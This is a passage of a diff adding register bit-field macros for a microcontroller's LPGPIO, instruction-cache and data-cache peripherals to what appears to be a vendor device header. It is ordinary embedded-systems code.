0x00000200 */ +#define LPGPIO_MODER_MOD9 LPGPIO_MODER_MOD9_Msk +#define LPGPIO_MODER_MOD10_Pos (10UL) +#define LPGPIO_MODER_MOD10_Msk (0x1UL << LPGPIO_MODER_MOD10_Pos) /*!< 0x00000400 */ +#define LPGPIO_MODER_MOD10 LPGPIO_MODER_MOD10_Msk +#define LPGPIO_MODER_MOD11_Pos (11UL) +#define LPGPIO_MODER_MOD11_Msk (0x1UL << LPGPIO_MODER_MOD11_Pos) /*!< 0x00000800 */ +#define LPGPIO_MODER_MOD11 LPGPIO_MODER_MOD11_Msk +#define LPGPIO_MODER_MOD12_Pos (12UL) +#define LPGPIO_MODER_MOD12_Msk (0x1UL << LPGPIO_MODER_MOD12_Pos) /*!< 0x00001000 */ +#define LPGPIO_MODER_MOD12 LPGPIO_MODER_MOD12_Msk +#define LPGPIO_MODER_MOD13_Pos (13UL) +#define LPGPIO_MODER_MOD13_Msk (0x1UL << LPGPIO_MODER_MOD13_Pos) /*!< 0x00002000 */ +#define LPGPIO_MODER_MOD13 LPGPIO_MODER_MOD13_Msk +#define LPGPIO_MODER_MOD14_Pos (14UL) +#define LPGPIO_MODER_MOD14_Msk (0x1UL << LPGPIO_MODER_MOD14_Pos) /*!< 0x00004000 */ +#define LPGPIO_MODER_MOD14 LPGPIO_MODER_MOD14_Msk +#define LPGPIO_MODER_MOD15_Pos (15UL) +#define LPGPIO_MODER_MOD15_Msk (0x1UL << LPGPIO_MODER_MOD15_Pos) /*!< 0x00008000 */ +#define LPGPIO_MODER_MOD15 LPGPIO_MODER_MOD15_Msk + +/****************** Bits definition for LPGPIO_IDR register *******************/ +#define LPGPIO_IDR_ID0_Pos (0UL) +#define LPGPIO_IDR_ID0_Msk (0x1UL << LPGPIO_IDR_ID0_Pos) /*!< 0x00000001 */ +#define LPGPIO_IDR_ID0 LPGPIO_IDR_ID0_Msk +#define LPGPIO_IDR_ID1_Pos (1UL) +#define LPGPIO_IDR_ID1_Msk (0x1UL << GPIO_IDR_ID1_Pos) /*!< 0x00000002 */ +#define LPGPIO_IDR_ID1 LPGPIO_IDR_ID1_Msk +#define LPGPIO_IDR_ID2_Pos (2UL) +#define LPGPIO_IDR_ID2_Msk (0x1UL << LPGPIO_IDR_ID2_Pos) /*!< 0x00000004 */ +#define LPGPIO_IDR_ID2 LPGPIO_IDR_ID2_Msk +#define LPGPIO_IDR_ID3_Pos (3UL) +#define LPGPIO_IDR_ID3_Msk (0x1UL << LPGPIO_IDR_ID3_Pos) /*!< 0x00000008 */ +#define LPGPIO_IDR_ID3 LPGPIO_IDR_ID3_Msk +#define LPGPIO_IDR_ID4_Pos (4UL) +#define LPGPIO_IDR_ID4_Msk (0x1UL << LPGPIO_IDR_ID4_Pos) /*!< 0x00000010 */ +#define LPGPIO_IDR_ID4 LPGPIO_IDR_ID4_Msk +#define LPGPIO_IDR_ID5_Pos (5UL) +#define LPGPIO_IDR_ID5_Msk (0x1UL << LPGPIO_IDR_ID5_Pos) /*!< 0x00000020 */ +#define LPGPIO_IDR_ID5 LPGPIO_IDR_ID5_Msk +#define LPGPIO_IDR_ID6_Pos (6UL) +#define LPGPIO_IDR_ID6_Msk (0x1UL << LPGPIO_IDR_ID6_Pos) /*!< 0x00000040 */ +#define LPGPIO_IDR_ID6 LPGPIO_IDR_ID6_Msk +#define LPGPIO_IDR_ID7_Pos (7UL) +#define LPGPIO_IDR_ID7_Msk (0x1UL << LPGPIO_IDR_ID7_Pos) /*!< 0x00000080 */ +#define LPGPIO_IDR_ID7 LPGPIO_IDR_ID7_Msk +#define LPGPIO_IDR_ID8_Pos (8UL) +#define LPGPIO_IDR_ID8_Msk (0x1UL << LPGPIO_IDR_ID8_Pos) /*!< 0x00000100 */ +#define LPGPIO_IDR_ID8 LPGPIO_IDR_ID8_Msk +#define LPGPIO_IDR_ID9_Pos (9UL) +#define LPGPIO_IDR_ID9_Msk (0x1UL << LPGPIO_IDR_ID9_Pos) /*!< 0x00000200 */ +#define LPGPIO_IDR_ID9 LPGPIO_IDR_ID9_Msk +#define LPGPIO_IDR_ID10_Pos (10UL) +#define LPGPIO_IDR_ID10_Msk (0x1UL << LPGPIO_IDR_ID10_Pos) /*!< 0x00000400 */ +#define LPGPIO_IDR_ID10 LPGPIO_IDR_ID10_Msk +#define LPGPIO_IDR_ID11_Pos (11UL) +#define LPGPIO_IDR_ID11_Msk (0x1UL << LPGPIO_IDR_ID11_Pos) /*!< 0x00000800 */ +#define LPGPIO_IDR_ID11 LPGPIO_IDR_ID11_Msk +#define LPGPIO_IDR_ID12_Pos (12UL) +#define LPGPIO_IDR_ID12_Msk (0x1UL << LPGPIO_IDR_ID12_Pos) /*!< 0x00001000 */ +#define LPGPIO_IDR_ID12 LPGPIO_IDR_ID12_Msk +#define LPGPIO_IDR_ID13_Pos (13UL) +#define LPGPIO_IDR_ID13_Msk (0x1UL << LPGPIO_IDR_ID13_Pos) /*!< 0x00002000 */ +#define LPGPIO_IDR_ID13 LPGPIO_IDR_ID13_Msk +#define LPGPIO_IDR_ID14_Pos (14UL) +#define LPGPIO_IDR_ID14_Msk (0x1UL << LPGPIO_IDR_ID14_Pos) /*!< 0x00004000 */ +#define LPGPIO_IDR_ID14 LPGPIO_IDR_ID14_Msk +#define LPGPIO_IDR_ID15_Pos (15UL) +#define LPGPIO_IDR_ID15_Msk (0x1UL << LPGPIO_IDR_ID15_Pos) /*!< 0x00008000 */ +#define LPGPIO_IDR_ID15 LPGPIO_IDR_ID15_Msk + +/****************** Bits definition for LPGPIO_ODR register *******************/ +#define LPGPIO_ODR_OD0_Pos (0UL) +#define LPGPIO_ODR_OD0_Msk (0x1UL << LPGPIO_ODR_OD0_Pos) /*!< 0x00000001 */ +#define LPGPIO_ODR_OD0 LPGPIO_ODR_OD0_Msk +#define LPGPIO_ODR_OD1_Pos (1UL) +#define LPGPIO_ODR_OD1_Msk (0x1UL << LPGPIO_ODR_OD1_Pos) /*!< 0x00000002 */ +#define LPGPIO_ODR_OD1 LPGPIO_ODR_OD1_Msk +#define LPGPIO_ODR_OD2_Pos (2UL) +#define LPGPIO_ODR_OD2_Msk (0x1UL << LPGPIO_ODR_OD2_Pos) /*!< 0x00000004 */ +#define LPGPIO_ODR_OD2 LPGPIO_ODR_OD2_Msk +#define LPGPIO_ODR_OD3_Pos (3UL) +#define LPGPIO_ODR_OD3_Msk (0x1UL << LPGPIO_ODR_OD3_Pos) /*!< 0x00000008 */ +#define LPGPIO_ODR_OD3 LPGPIO_ODR_OD3_Msk +#define LPGPIO_ODR_OD4_Pos (4UL) +#define LPGPIO_ODR_OD4_Msk (0x1UL << LPGPIO_ODR_OD4_Pos) /*!< 0x00000010 */ +#define LPGPIO_ODR_OD4 LPGPIO_ODR_OD4_Msk +#define LPGPIO_ODR_OD5_Pos (5UL) +#define LPGPIO_ODR_OD5_Msk (0x1UL << LPGPIO_ODR_OD5_Pos) /*!< 0x00000020 */ +#define LPGPIO_ODR_OD5 LPGPIO_ODR_OD5_Msk +#define LPGPIO_ODR_OD6_Pos (6UL) +#define LPGPIO_ODR_OD6_Msk (0x1UL << LPGPIO_ODR_OD6_Pos) /*!< 0x00000040 */ +#define LPGPIO_ODR_OD6 LPGPIO_ODR_OD6_Msk +#define LPGPIO_ODR_OD7_Pos (7UL) +#define LPGPIO_ODR_OD7_Msk (0x1UL << LPGPIO_ODR_OD7_Pos) /*!< 0x00000080 */ +#define LPGPIO_ODR_OD7 LPGPIO_ODR_OD7_Msk +#define LPGPIO_ODR_OD8_Pos (8UL) +#define LPGPIO_ODR_OD8_Msk (0x1UL << LPGPIO_ODR_OD8_Pos) /*!< 0x00000100 */ +#define LPGPIO_ODR_OD8 LPGPIO_ODR_OD8_Msk +#define LPGPIO_ODR_OD9_Pos (9UL) +#define LPGPIO_ODR_OD9_Msk (0x1UL << LPGPIO_ODR_OD9_Pos) /*!< 0x00000200 */ +#define LPGPIO_ODR_OD9 LPGPIO_ODR_OD9_Msk +#define LPGPIO_ODR_OD10_Pos (10UL) +#define LPGPIO_ODR_OD10_Msk (0x1UL << LPGPIO_ODR_OD10_Pos) /*!< 0x00000400 */ +#define LPGPIO_ODR_OD10 LPGPIO_ODR_OD10_Msk +#define LPGPIO_ODR_OD11_Pos (11UL) +#define LPGPIO_ODR_OD11_Msk (0x1UL << LPGPIO_ODR_OD11_Pos) /*!< 0x00000800 */ +#define LPGPIO_ODR_OD11 LPGPIO_ODR_OD11_Msk +#define LPGPIO_ODR_OD12_Pos (12UL) +#define LPGPIO_ODR_OD12_Msk (0x1UL << LPGPIO_ODR_OD12_Pos) /*!< 0x00001000 */ +#define LPGPIO_ODR_OD12 LPGPIO_ODR_OD12_Msk +#define LPGPIO_ODR_OD13_Pos (13UL) +#define LPGPIO_ODR_OD13_Msk (0x1UL << LPGPIO_ODR_OD13_Pos) /*!< 0x00002000 */ +#define LPGPIO_ODR_OD13 LPGPIO_ODR_OD13_Msk +#define LPGPIO_ODR_OD14_Pos (14UL) +#define LPGPIO_ODR_OD14_Msk (0x1UL << LPGPIO_ODR_OD14_Pos) /*!< 0x00004000 */ +#define LPGPIO_ODR_OD14 LPGPIO_ODR_OD14_Msk +#define LPGPIO_ODR_OD15_Pos (15UL) +#define LPGPIO_ODR_OD15_Msk (0x1UL << LPGPIO_ODR_OD15_Pos) /*!< 0x00008000 */ +#define LPGPIO_ODR_OD15 LPGPIO_ODR_OD15_Msk + +/****************** Bits definition for LPGPIO_BSRR register ******************/ +#define LPGPIO_BSRR_BS0_Pos (0UL) +#define LPGPIO_BSRR_BS0_Msk (0x1UL << LPGPIO_BSRR_BS0_Pos) /*!< 0x00000001 */ +#define LPGPIO_BSRR_BS0 LPGPIO_BSRR_BS0_Msk +#define LPGPIO_BSRR_BS1_Pos (1UL) +#define LPGPIO_BSRR_BS1_Msk (0x1UL << LPGPIO_BSRR_BS1_Pos) /*!< 0x00000002 */ +#define LPGPIO_BSRR_BS1 LPGPIO_BSRR_BS1_Msk +#define LPGPIO_BSRR_BS2_Pos (2UL) +#define LPGPIO_BSRR_BS2_Msk (0x1UL << LPGPIO_BSRR_BS2_Pos) /*!< 0x00000004 */ +#define LPGPIO_BSRR_BS2 LPGPIO_BSRR_BS2_Msk +#define LPGPIO_BSRR_BS3_Pos (3UL) +#define LPGPIO_BSRR_BS3_Msk (0x1UL << LPGPIO_BSRR_BS3_Pos) /*!< 0x00000008 */ +#define LPGPIO_BSRR_BS3 LPGPIO_BSRR_BS3_Msk +#define LPGPIO_BSRR_BS4_Pos (4UL) +#define LPGPIO_BSRR_BS4_Msk (0x1UL << LPGPIO_BSRR_BS4_Pos) /*!< 0x00000010 */ +#define LPGPIO_BSRR_BS4 LPGPIO_BSRR_BS4_Msk +#define LPGPIO_BSRR_BS5_Pos (5UL) +#define LPGPIO_BSRR_BS5_Msk (0x1UL << LPGPIO_BSRR_BS5_Pos) /*!< 0x00000020 */ +#define LPGPIO_BSRR_BS5 LPGPIO_BSRR_BS5_Msk +#define LPGPIO_BSRR_BS6_Pos (6UL) +#define LPGPIO_BSRR_BS6_Msk (0x1UL << LPGPIO_BSRR_BS6_Pos) /*!< 0x00000040 */ +#define LPGPIO_BSRR_BS6 LPGPIO_BSRR_BS6_Msk +#define LPGPIO_BSRR_BS7_Pos (7UL) +#define LPGPIO_BSRR_BS7_Msk (0x1UL << LPGPIO_BSRR_BS7_Pos) /*!< 0x00000080 */ +#define LPGPIO_BSRR_BS7 LPGPIO_BSRR_BS7_Msk +#define LPGPIO_BSRR_BS8_Pos (8UL) +#define LPGPIO_BSRR_BS8_Msk (0x1UL << LPGPIO_BSRR_BS8_Pos) /*!< 0x00000100 */ +#define LPGPIO_BSRR_BS8 LPGPIO_BSRR_BS8_Msk +#define LPGPIO_BSRR_BS9_Pos (9UL) +#define LPGPIO_BSRR_BS9_Msk (0x1UL << LPGPIO_BSRR_BS9_Pos) /*!< 0x00000200 */ +#define LPGPIO_BSRR_BS9 LPGPIO_BSRR_BS9_Msk +#define LPGPIO_BSRR_BS10_Pos (10UL) +#define LPGPIO_BSRR_BS10_Msk (0x1UL << LPGPIO_BSRR_BS10_Pos) /*!< 0x00000400 */ +#define LPGPIO_BSRR_BS10 LPGPIO_BSRR_BS10_Msk +#define LPGPIO_BSRR_BS11_Pos (11UL) +#define LPGPIO_BSRR_BS11_Msk (0x1UL << LPGPIO_BSRR_BS11_Pos) /*!< 0x00000800 */ +#define LPGPIO_BSRR_BS11 LPGPIO_BSRR_BS11_Msk +#define LPGPIO_BSRR_BS12_Pos (12UL) +#define LPGPIO_BSRR_BS12_Msk (0x1UL << LPGPIO_BSRR_BS12_Pos) /*!< 0x00001000 */ +#define LPGPIO_BSRR_BS12 LPGPIO_BSRR_BS12_Msk +#define LPGPIO_BSRR_BS13_Pos (13UL) +#define LPGPIO_BSRR_BS13_Msk (0x1UL << LPGPIO_BSRR_BS13_Pos) /*!< 0x00002000 */ +#define LPGPIO_BSRR_BS13 LPGPIO_BSRR_BS13_Msk +#define LPGPIO_BSRR_BS14_Pos (14UL) +#define LPGPIO_BSRR_BS14_Msk (0x1UL << LPGPIO_BSRR_BS14_Pos) /*!< 0x00004000 */ +#define LPGPIO_BSRR_BS14 LPGPIO_BSRR_BS14_Msk +#define LPGPIO_BSRR_BS15_Pos (15UL) +#define LPGPIO_BSRR_BS15_Msk (0x1UL << LPGPIO_BSRR_BS15_Pos) /*!< 0x00008000 */ +#define LPGPIO_BSRR_BS15 LPGPIO_BSRR_BS15_Msk +#define LPGPIO_BSRR_BR0_Pos (16UL) +#define LPGPIO_BSRR_BR0_Msk (0x1UL << LPGPIO_BSRR_BR0_Pos) /*!< 0x00010000 */ +#define LPGPIO_BSRR_BR0 LPGPIO_BSRR_BR0_Msk +#define LPGPIO_BSRR_BR1_Pos (17UL) +#define LPGPIO_BSRR_BR1_Msk (0x1UL << LPGPIO_BSRR_BR1_Pos) /*!< 0x00020000 */ +#define LPGPIO_BSRR_BR1 LPGPIO_BSRR_BR1_Msk +#define LPGPIO_BSRR_BR2_Pos (18UL) +#define LPGPIO_BSRR_BR2_Msk (0x1UL << LPGPIO_BSRR_BR2_Pos) /*!< 0x00040000 */ +#define LPGPIO_BSRR_BR2 LPGPIO_BSRR_BR2_Msk +#define LPGPIO_BSRR_BR3_Pos (19UL) +#define LPGPIO_BSRR_BR3_Msk (0x1UL << LPGPIO_BSRR_BR3_Pos) /*!< 0x00080000 */ +#define LPGPIO_BSRR_BR3 LPGPIO_BSRR_BR3_Msk +#define LPGPIO_BSRR_BR4_Pos (20UL) +#define LPGPIO_BSRR_BR4_Msk (0x1UL << LPGPIO_BSRR_BR4_Pos) /*!< 0x00100000 */ +#define LPGPIO_BSRR_BR4 LPGPIO_BSRR_BR4_Msk +#define LPGPIO_BSRR_BR5_Pos (21UL) +#define LPGPIO_BSRR_BR5_Msk (0x1UL << LPGPIO_BSRR_BR5_Pos) /*!< 0x00200000 */ +#define LPGPIO_BSRR_BR5 LPGPIO_BSRR_BR5_Msk +#define LPGPIO_BSRR_BR6_Pos (22UL) +#define LPGPIO_BSRR_BR6_Msk (0x1UL << LPGPIO_BSRR_BR6_Pos) /*!< 0x00400000 */ +#define LPGPIO_BSRR_BR6 LPGPIO_BSRR_BR6_Msk +#define LPGPIO_BSRR_BR7_Pos (23UL) +#define LPGPIO_BSRR_BR7_Msk (0x1UL << LPGPIO_BSRR_BR7_Pos) /*!< 0x00800000 */ +#define LPGPIO_BSRR_BR7 LPGPIO_BSRR_BR7_Msk +#define LPGPIO_BSRR_BR8_Pos (24UL) +#define LPGPIO_BSRR_BR8_Msk (0x1UL << LPGPIO_BSRR_BR8_Pos) /*!< 0x01000000 */ +#define LPGPIO_BSRR_BR8 LPGPIO_BSRR_BR8_Msk +#define LPGPIO_BSRR_BR9_Pos (25UL) +#define LPGPIO_BSRR_BR9_Msk (0x1UL << LPGPIO_BSRR_BR9_Pos) /*!< 0x02000000 */ +#define LPGPIO_BSRR_BR9 LPGPIO_BSRR_BR9_Msk +#define LPGPIO_BSRR_BR10_Pos (26UL) +#define LPGPIO_BSRR_BR10_Msk (0x1UL << LPGPIO_BSRR_BR10_Pos) /*!< 0x04000000 */ +#define LPGPIO_BSRR_BR10 LPGPIO_BSRR_BR10_Msk +#define LPGPIO_BSRR_BR11_Pos (27UL) +#define LPGPIO_BSRR_BR11_Msk (0x1UL << LPGPIO_BSRR_BR11_Pos) /*!< 0x08000000 */ +#define LPGPIO_BSRR_BR11 LPGPIO_BSRR_BR11_Msk +#define LPGPIO_BSRR_BR12_Pos (28UL) +#define LPGPIO_BSRR_BR12_Msk (0x1UL << LPGPIO_BSRR_BR12_Pos) /*!< 0x10000000 */ +#define LPGPIO_BSRR_BR12 LPGPIO_BSRR_BR12_Msk +#define LPGPIO_BSRR_BR13_Pos (29UL) +#define LPGPIO_BSRR_BR13_Msk (0x1UL << LPGPIO_BSRR_BR13_Pos) /*!< 0x20000000 */ +#define LPGPIO_BSRR_BR13 LPGPIO_BSRR_BR13_Msk +#define LPGPIO_BSRR_BR14_Pos (30UL) +#define LPGPIO_BSRR_BR14_Msk (0x1UL << LPGPIO_BSRR_BR14_Pos) /*!< 0x40000000 */ +#define LPGPIO_BSRR_BR14 LPGPIO_BSRR_BR14_Msk +#define LPGPIO_BSRR_BR15_Pos (31UL) +#define LPGPIO_BSRR_BR15_Msk (0x1UL << LPGPIO_BSRR_BR15_Pos) /*!< 0x80000000 */ +#define LPGPIO_BSRR_BR15 LPGPIO_BSRR_BR15_Msk + +/****************** Bits definition for LPGPIO_BRR register ******************/ +#define LPGPIO_BRR_BR0_Pos (0UL) +#define LPGPIO_BRR_BR0_Msk (0x1UL << LPGPIO_BRR_BR0_Pos) /*!< 0x00000001 */ +#define LPGPIO_BRR_BR0 LPGPIO_BRR_BR0_Msk +#define LPGPIO_BRR_BR1_Pos (1UL) +#define LPGPIO_BRR_BR1_Msk (0x1UL << LPGPIO_BRR_BR1_Pos) /*!< 0x00000002 */ +#define LPGPIO_BRR_BR1 LPGPIO_BRR_BR1_Msk +#define LPGPIO_BRR_BR2_Pos (2UL) +#define LPGPIO_BRR_BR2_Msk (0x1UL << LPGPIO_BRR_BR2_Pos) /*!< 0x00000004 */ +#define LPGPIO_BRR_BR2 LPGPIO_BRR_BR2_Msk +#define LPGPIO_BRR_BR3_Pos (3UL) +#define LPGPIO_BRR_BR3_Msk (0x1UL << LPGPIO_BRR_BR3_Pos) /*!< 0x00000008 */ +#define LPGPIO_BRR_BR3 LPGPIO_BRR_BR3_Msk +#define LPGPIO_BRR_BR4_Pos (4UL) +#define LPGPIO_BRR_BR4_Msk (0x1UL << LPGPIO_BRR_BR4_Pos) /*!< 0x00000010 */ +#define LPGPIO_BRR_BR4 LPGPIO_BRR_BR4_Msk +#define LPGPIO_BRR_BR5_Pos (5UL) +#define LPGPIO_BRR_BR5_Msk (0x1UL << LPGPIO_BRR_BR5_Pos) /*!< 0x00000020 */ +#define LPGPIO_BRR_BR5 LPGPIO_BRR_BR5_Msk +#define LPGPIO_BRR_BR6_Pos (6UL) +#define LPGPIO_BRR_BR6_Msk (0x1UL << LPGPIO_BRR_BR6_Pos) /*!< 0x00000040 */ +#define LPGPIO_BRR_BR6 LPGPIO_BRR_BR6_Msk +#define LPGPIO_BRR_BR7_Pos (7UL) +#define LPGPIO_BRR_BR7_Msk (0x1UL << LPGPIO_BRR_BR7_Pos) /*!< 0x00000080 */ +#define LPGPIO_BRR_BR7 LPGPIO_BRR_BR7_Msk +#define LPGPIO_BRR_BR8_Pos (8UL) +#define LPGPIO_BRR_BR8_Msk (0x1UL << LPGPIO_BRR_BR8_Pos) /*!< 0x00000100 */ +#define LPGPIO_BRR_BR8 LPGPIO_BRR_BR8_Msk +#define LPGPIO_BRR_BR9_Pos (9UL) +#define LPGPIO_BRR_BR9_Msk (0x1UL << LPGPIO_BRR_BR9_Pos) /*!< 0x00000200 */ +#define LPGPIO_BRR_BR9 LPGPIO_BRR_BR9_Msk +#define LPGPIO_BRR_BR10_Pos (10UL) +#define LPGPIO_BRR_BR10_Msk (0x1UL << LPGPIO_BRR_BR10_Pos) /*!< 0x00000400 */ +#define LPGPIO_BRR_BR10 LPGPIO_BRR_BR10_Msk +#define LPGPIO_BRR_BR11_Pos (11UL) +#define LPGPIO_BRR_BR11_Msk (0x1UL << LPGPIO_BRR_BR11_Pos) /*!< 0x00000800 */ +#define LPGPIO_BRR_BR11 LPGPIO_BRR_BR11_Msk +#define LPGPIO_BRR_BR12_Pos (12UL) +#define LPGPIO_BRR_BR12_Msk (0x1UL << LPGPIO_BRR_BR12_Pos) /*!< 0x00001000 */ +#define LPGPIO_BRR_BR12 LPGPIO_BRR_BR12_Msk +#define LPGPIO_BRR_BR13_Pos (13UL) +#define LPGPIO_BRR_BR13_Msk (0x1UL << LPGPIO_BRR_BR13_Pos) /*!< 0x00002000 */ +#define LPGPIO_BRR_BR13 LPGPIO_BRR_BR13_Msk +#define LPGPIO_BRR_BR14_Pos (14UL) +#define LPGPIO_BRR_BR14_Msk (0x1UL << LPGPIO_BRR_BR14_Pos) /*!< 0x00004000 */ +#define LPGPIO_BRR_BR14 LPGPIO_BRR_BR14_Msk +#define LPGPIO_BRR_BR15_Pos (15UL) +#define LPGPIO_BRR_BR15_Msk (0x1UL << LPGPIO_BRR_BR15_Pos) /*!< 0x00008000 */ +#define LPGPIO_BRR_BR15 LPGPIO_BRR_BR15_Msk + +/******************************************************************************/ +/* */ +/* ICACHE */ +/* */ +/******************************************************************************/ +/****************** Bit definition for ICACHE_CR register *******************/ +#define ICACHE_CR_EN_Pos (0UL) +#define ICACHE_CR_EN_Msk (0x1UL << ICACHE_CR_EN_Pos) /*!< 0x00000001 */ +#define ICACHE_CR_EN ICACHE_CR_EN_Msk /*!< Enable */ +#define ICACHE_CR_CACHEINV_Pos (1UL) +#define ICACHE_CR_CACHEINV_Msk (0x1UL << ICACHE_CR_CACHEINV_Pos) /*!< 0x00000002 */ +#define ICACHE_CR_CACHEINV ICACHE_CR_CACHEINV_Msk /*!< Cache invalidation */ +#define ICACHE_CR_WAYSEL_Pos (2UL) +#define ICACHE_CR_WAYSEL_Msk (0x1UL << ICACHE_CR_WAYSEL_Pos) /*!< 0x00000004 */ +#define ICACHE_CR_WAYSEL ICACHE_CR_WAYSEL_Msk /*!< Ways selection */ +#define ICACHE_CR_HITMEN_Pos (16UL) +#define ICACHE_CR_HITMEN_Msk (0x1UL << ICACHE_CR_HITMEN_Pos) /*!< 0x00010000 */ +#define ICACHE_CR_HITMEN ICACHE_CR_HITMEN_Msk /*!< Hit monitor enable */ +#define ICACHE_CR_MISSMEN_Pos (17UL) +#define ICACHE_CR_MISSMEN_Msk (0x1UL << ICACHE_CR_MISSMEN_Pos) /*!< 0x00020000 */ +#define ICACHE_CR_MISSMEN ICACHE_CR_MISSMEN_Msk /*!< Miss monitor enable */ +#define ICACHE_CR_HITMRST_Pos (18UL) +#define ICACHE_CR_HITMRST_Msk (0x1UL << ICACHE_CR_HITMRST_Pos) /*!< 0x00040000 */ +#define ICACHE_CR_HITMRST ICACHE_CR_HITMRST_Msk /*!< Hit monitor reset */ +#define ICACHE_CR_MISSMRST_Pos (19UL) +#define ICACHE_CR_MISSMRST_Msk (0x1UL << ICACHE_CR_MISSMRST_Pos) /*!< 0x00080000 */ +#define ICACHE_CR_MISSMRST ICACHE_CR_MISSMRST_Msk /*!< Miss monitor reset */ + +/****************** Bit definition for ICACHE_SR register *******************/ +#define ICACHE_SR_BUSYF_Pos (0UL) +#define ICACHE_SR_BUSYF_Msk (0x1UL << ICACHE_SR_BUSYF_Pos) /*!< 0x00000001 */ +#define ICACHE_SR_BUSYF ICACHE_SR_BUSYF_Msk /*!< Busy flag */ +#define ICACHE_SR_BSYENDF_Pos (1UL) +#define ICACHE_SR_BSYENDF_Msk (0x1UL << ICACHE_SR_BSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_SR_BSYENDF ICACHE_SR_BSYENDF_Msk /*!< Busy end flag */ +#define ICACHE_SR_ERRF_Pos (2UL) +#define ICACHE_SR_ERRF_Msk (0x1UL << ICACHE_SR_ERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_SR_ERRF ICACHE_SR_ERRF_Msk /*!< Cache error flag */ + +/****************** Bit definition for ICACHE_IER register ******************/ +#define ICACHE_IER_BSYENDIE_Pos (1UL) +#define ICACHE_IER_BSYENDIE_Msk (0x1UL << ICACHE_IER_BSYENDIE_Pos) /*!< 0x00000002 */ +#define ICACHE_IER_BSYENDIE ICACHE_IER_BSYENDIE_Msk /*!< Busy end interrupt enable */ +#define ICACHE_IER_ERRIE_Pos (2UL) +#define ICACHE_IER_ERRIE_Msk (0x1UL << ICACHE_IER_ERRIE_Pos) /*!< 0x00000004 */ +#define ICACHE_IER_ERRIE ICACHE_IER_ERRIE_Msk /*!< Cache error interrupt enable */ + +/****************** Bit definition for ICACHE_FCR register ******************/ +#define ICACHE_FCR_CBSYENDF_Pos (1UL) +#define ICACHE_FCR_CBSYENDF_Msk (0x1UL << ICACHE_FCR_CBSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_FCR_CBSYENDF ICACHE_FCR_CBSYENDF_Msk /*!< Busy end flag clear */ +#define ICACHE_FCR_CERRF_Pos (2UL) +#define ICACHE_FCR_CERRF_Msk (0x1UL << ICACHE_FCR_CERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_FCR_CERRF ICACHE_FCR_CERRF_Msk /*!< Cache error flag clear */ + +/****************** Bit definition for ICACHE_HMONR register ****************/ +#define ICACHE_HMONR_HITMON_Pos (0UL) +#define ICACHE_HMONR_HITMON_Msk (0xFFFFFFFFUL << ICACHE_HMONR_HITMON_Pos) /*!< 0xFFFFFFFF */ +#define ICACHE_HMONR_HITMON ICACHE_HMONR_HITMON_Msk /*!< Cache hit monitor register */ + +/****************** Bit definition for ICACHE_MMONR register ****************/ +#define ICACHE_MMONR_MISSMON_Pos (0UL) +#define ICACHE_MMONR_MISSMON_Msk (0xFFFFUL << ICACHE_MMONR_MISSMON_Pos) /*!< 0x0000FFFF */ +#define ICACHE_MMONR_MISSMON ICACHE_MMONR_MISSMON_Msk /*!< Cache miss monitor register */ + +/****************** Bit definition for ICACHE_CRRx register *****************/ +#define ICACHE_CRRx_BASEADDR_Pos (0UL) +#define ICACHE_CRRx_BASEADDR_Msk (0xFFUL << ICACHE_CRRx_BASEADDR_Pos) /*!< 0x000000FF */ +#define ICACHE_CRRx_BASEADDR ICACHE_CRRx_BASEADDR_Msk /*!< Base address of region X to remap */ +#define ICACHE_CRRx_RSIZE_Pos (9UL) +#define ICACHE_CRRx_RSIZE_Msk (0x7UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000E00 */ +#define ICACHE_CRRx_RSIZE ICACHE_CRRx_RSIZE_Msk /*!< Region X size */ +#define ICACHE_CRRx_RSIZE_0 (0x1UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000200 */ +#define ICACHE_CRRx_RSIZE_1 (0x2UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000400 */ +#define ICACHE_CRRx_RSIZE_2 (0x4UL << ICACHE_CRRx_RSIZE_Pos) /*!< 0x00000800 */ +#define ICACHE_CRRx_REN_Pos (15UL) +#define ICACHE_CRRx_REN_Msk (0x1UL << ICACHE_CRRx_REN_Pos) /*!< 0x00008000 */ +#define ICACHE_CRRx_REN ICACHE_CRRx_REN_Msk /*!< Region X enable */ +#define ICACHE_CRRx_REMAPADDR_Pos (16UL) +#define ICACHE_CRRx_REMAPADDR_Msk (0x7FFUL << ICACHE_CRRx_REMAPADDR_Pos) /*!< 0x07FF0000 */ +#define ICACHE_CRRx_REMAPADDR ICACHE_CRRx_REMAPADDR_Msk /*!< Remap address of Region X to be remapped */ +#define ICACHE_CRRx_MSTSEL_Pos (28UL) +#define ICACHE_CRRx_MSTSEL_Msk (0x1UL << ICACHE_CRRx_MSTSEL_Pos) /*!< 0x10000000 */ +#define ICACHE_CRRx_MSTSEL ICACHE_CRRx_MSTSEL_Msk /*!< Region X AHB cache master selection */ +#define ICACHE_CRRx_HBURST_Pos (31UL) +#define ICACHE_CRRx_HBURST_Msk (0x1UL << ICACHE_CRRx_HBURST_Pos) /*!< 0x80000000 */ +#define ICACHE_CRRx_HBURST ICACHE_CRRx_HBURST_Msk /*!< Region X output burst type */ + +/******************************************************************************/ +/* */ +/* DCACHE */ +/* */ +/******************************************************************************/ +/****************** Bit definition for DCACHE_CR register *******************/ +#define DCACHE_CR_EN_Pos (0UL) +#define DCACHE_CR_EN_Msk (0x1UL << DCACHE_CR_EN_Pos) /*!< 0x00000001 */ +#define DCACHE_CR_EN DCACHE_CR_EN_Msk /*!< Enable */ +#define DCACHE_CR_CACHEINV_Pos (1UL) +#define DCACHE_CR_CACHEINV_Msk (0x1UL << DCACHE_CR_CACHEINV_Pos) /*!< 0x00000002 */ +#define DCACHE_CR_CACHEINV DCACHE_CR_CACHEINV_Msk /*!< Cache invalidation */ +#define DCACHE_CR_CACHECMD_Pos (8UL) +#define DCACHE_CR_CACHECMD_Msk (0x7UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000700 */ +#define DCACHE_CR_CACHECMD DCACHE_CR_CACHECMD_Msk /*!< Cache command */ +#define DCACHE_CR_CACHECMD_0 (0x1UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000100 */ +#define DCACHE_CR_CACHECMD_1 (0x2UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000200 */ +#define DCACHE_CR_CACHECMD_2 (0x4UL << DCACHE_CR_CACHECMD_Pos) /*!< 0x00000400 */ +#define 